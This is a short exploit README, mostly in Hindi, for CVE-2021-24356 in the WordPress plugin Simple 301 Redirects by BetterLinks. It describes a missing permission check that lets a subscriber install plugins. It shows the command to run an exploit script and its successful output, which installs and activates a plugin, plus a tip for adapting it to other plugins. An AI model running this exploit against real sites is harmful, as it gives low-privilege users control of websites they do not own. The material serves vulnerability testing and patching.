CVE-2021-24356

Simple 301 Redirects by BetterLinks - 2.0.0 – 2.0.3 - Subscriber + Arbitrary Plugin Installation

विवरण

प्लगइन में AJAX क्रिया पर क्षमता जांच और अपर्याप्त नॉन्स जांच के अभाव के कारण, प्रमाणित उपयोगकर्ताओं के लिए कमजोर साइटों पर मनमाना प्लगइन स्थापित करना संभव हो गया।

उपयोग कैसे करें

$ python3 CVE-2021-24356.py --url http://wordpress.lan --username user --password useruser1 --slug betterlinks
Getting REST API Nonce!
Nonce Found: dd72f43027
Installing Plugin!
{"success":true,"data":"Plugin is installed successfully!"}
Activating Plugin!
{"success":true,"data":"BetterLinks is activated!"}

नोट: कुछ प्लगइन सक्रिय नहीं हो सकते हैं यदि आपको sluga वेरिएबल को path/file.php में बदलने की आवश्यकता है जो प्लगइन की मुख्य फ़ाइल है। यह वर्तमान में तब बहुत अच्छी तरह से काम करता है जब slug कुछ betterlinks जैसा होता है और प्लगइन की मुख्य फ़ाइल को betterlinks.php कहा जाता है।